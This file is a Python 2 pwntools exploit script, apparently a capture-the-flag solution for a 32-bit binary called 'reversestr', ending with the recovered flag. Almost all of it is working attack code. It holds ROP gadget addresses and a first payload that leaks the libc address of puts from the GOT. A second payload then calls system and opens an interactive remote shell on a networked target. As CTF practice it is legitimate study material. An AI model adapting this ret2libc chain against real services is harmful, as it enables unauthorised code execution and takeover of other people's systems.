#!/usr/bin/env python2
from pwn import *
import time

#r = remote('192.168.31.25',22001)
#r = remote('127.0.0.1',8081)
rev = ELF('./reversestr')
lib	= ELF('./libc.so.6-32')

#CANARY    : disabled
#FORTIFY   : disabled
#NX        : ENABLED
#PIE       : disabled
#RELRO     : Partial

o_input = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZa1b1c1d1e1f1g1h1i1j1k1l1'
# return = fedc
# ebp = jihg
# gdb-peda$ x/100wx $esp
# 0xffffcfb0:	0xffff6262	0x0000004c	0x00000040	0xf7e432f3
# 0xffffcfc0:	0x64636261	0x68676665	0x6c6b6a69	0x706f6e6d
# 0xffffcfd0:	0x74737271	0x78777675	0x42417a79	0x46454443
# 0xffffcfe0:	0x4a494847	0x4e4d4c4b	0x5251504f	0x56555453
# 0xffffcff0:	0x5a595857	0x31623161	0x31643163	0x31663165
# 0xffffd000:	0x31683167	0x316a3169	0x316c316b	0xf7e29af3
# 12 can use 

# 8048610:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
# 8048617:       e8 14 fe ff ff          call   8048430 <read@plt>

# gadget
pop11ret = 0x08048849
pop3ret  = 0x0804841a
pop1ret  = 0x0804841d	
leaveret = 0x08048558
puts_plt = rev.plt['puts']  #0x08048470
puts_got = rev.got['puts']  #0x0804a01c
read_plt = rev.plt['read']
bin_add = ''


payload = '\xff'
payload += p32(pop11ret)[::-1]
payload += 'A'*11 + p32(rev.bss()+0x40) + p32(rev.bss()+0x44) + p32(rev.bss()+0xa0c)
payload += p32(puts_plt) + p32(pop1ret) + p32(puts_got)
payload += p32(0x08048610) +p32(0x11111111) + p32(rev.bss()+0xa00) + p32(0x11111111)
payload += 'A'*(len(o_input)-len(payload))

payload3 = ''
payload3 = p32(0)+'A'*8+ p32(rev.bss()+0xb00) + p32(pop3ret)  +  p32(rev.bss()) + p32(0) + 'A'*4

while True:
	try:
		r = remote('192.168.31.25',22001)
		r.recvuntil(':')
		r.send(payload)
		res = r.recv()
		print res.encode('hex')
		lib_puts = u32(res[:4])
		lib_sys  = p32(lib_puts - lib.symbols['puts']+lib.symbols['system'])
		print 'puts ',hex(lib_puts)
		print 'system',hex(u32(lib_sys))	
		print 'base',hex(lib_puts-lib.symbols['puts'])
		print 'offsys',hex(lib.symbols['system']) 
		payload3 += lib_sys +'A'*4 + p32(u32(lib_sys)+ 0x11ddb4)  +p32(0)*6
		r.send(payload3)
		r.clean()
		r.sendline('')
		r.sendline('')
		r.sendline('')
		r.sendline('\n')
		break
	except:
		r.close()
		continue
r.interactive()

#AD{3f1l_ruoy_3sr3v3r_p0r_gn13Su}

